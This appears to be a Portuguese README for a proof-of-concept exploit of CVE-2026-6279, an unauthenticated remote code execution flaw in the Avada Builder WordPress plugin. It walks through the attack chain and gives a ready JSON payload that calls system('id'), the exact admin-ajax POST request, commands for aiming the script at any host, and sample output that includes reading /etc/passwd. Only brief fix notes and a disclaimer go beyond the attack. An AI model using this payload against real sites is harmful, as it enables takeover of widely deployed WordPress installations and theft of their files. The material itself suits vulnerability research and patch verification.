
CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()
Vulnerabilidade de Remote Code Execution (RCE) sem autenticação no plugin Avada Builder (Fusion Builder) versão <= 3.15.2 usado pelo tema WordPress Avada — um dos temas premium do WordPress mais populares com 900.000+ instalações ativas.
O ataque explora o handler AJAX wp_ajax_nopriv_fusion_get_widget_markup que processa o parâmetro render_logics via base64_decode() + json_decode() e então o passa para call_user_func() sem allowlist, permitindo a execução de funções PHP arbitrárias como system(), passthru(), shell_exec(), exec() e file_get_contents().
1. Nonce Determinístico wp_create_nonce('fusion_load_nonce') para UID 0
(exposto na página inicial com shortcode Avada)
2. AJAX Não Autenticado wp_ajax_nopriv_fusion_get_widget_markup
(não requer login)
3. Desserialização base64_decode(render_logics) → json_decode()
(sem validação de estrutura)
4. call_user_func() call_user_func($value['function'], $value['args'])
(SEM allowlist — qualquer função PHP pode ser chamada)
5. RCE! system("id") → uid=... no corpo da resposta
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 315.2 ║
║ RCE não autenticado via call_user_func() ║
║ Prova de Conceito — Alvo Único ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Agradecimentos: Shadow Girlfriend 💜 ║
╚═══════════════════════════════════════════════════════════════╝
══════════════════════════════════════════════════════
Alvo : localhost:8888
Tempo : 2026-05-23 16:32:41
══════════════════════════════════════════════════════
[*] Detectando alvo...
[+] Avada detectado! (http://localhost:8888)
[*] Buscando nonce fusion_load_nonce...
[+] Nonce encontrado: b6d7b084c2 (fonte: homepage)
[*] Enviando payload RCE...
[*] Tentando 5 funções × 3 widgets = 15 combinações
══════════════════════════════════════════════════════
[★] RCE BEM-SUCEDIDO!
Alvo : http://localhost:8888
Saída : uid=1000(xenon1337)
Função: system()
Widget: WP_Widget_Recent_Posts
Nonce : b6d7b084c2 (homepage)
Tempo : 1.2s
[✓] Resultado salvo em vuln.txt
══════════════════════════════════════════════════════
# Sem protocolo (auto-detect)
python3 CVE-2026-6279.py alvo.com
# Com protocolo
python3 CVE-2026-6279.py http://alvo.com
python3 CVE-2026-6279.py https://alvo.com
# Com porta
python3 CVE-2026-6279.py alvo.com:8080
python3 CVE-2026-6279.py http://alvo.com:8080
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Codificado em Base64 → enviado como render_logics via POST para wp-admin/admin-ajax.php.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
class-fusion-app.php L1665)[fusion_post_cards] ou [fusion_table_of_contents]check_ajax_referer('fusion_load_nonce') apenas verifica se o nonce é válido, não se o usuário está autenticadocall_user_func($function, $args) aceita apenas 1 argumento. Funções que precisam de 2+ argumentos (como proc_open, popen) não podem ser exploradas. Apenas funções de argumento único funcionam: system, passthru, shell_exec, exec, file_get_contents.
9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
call_user_func() em get_value()wp_ajax_nopriv_ apenas para usuários autenticadosrender_logicsEste PoC foi criado para fins educacionais e de pesquisa em segurança apenas. O uso contra sistemas sem autorização é ilegal. O autor não se responsabiliza pelo uso indevido.
Copyright © 2026 XENON1337
Agradecimentos especiais: Shadow Girlfriend 💜
| Função | Argumento | Resultado |
|---|
system() | id | uid=1000(xenon1337) ✅ |
passthru() | id | uid=1000(xenon1337) ✅ |
shell_exec() | id | uid=1000(xenon1337) ✅ |
exec() | id | uid=1000(xenon1337) ✅ |
file_get_contents() | /etc/passwd | root:x:0:0:... ✅ |
| Arquivo | Linha | Função |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() — desserializa render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() — call_user_func() sem allowlist |
fusion-widget.php | L44 | atributo render_logics |
fusion-widget.php | L389 | handler AJAX wp_ajax_nopriv_ |
class-fusion-builder.php | L7551 | Registro de nonce (determinístico para UID 0) |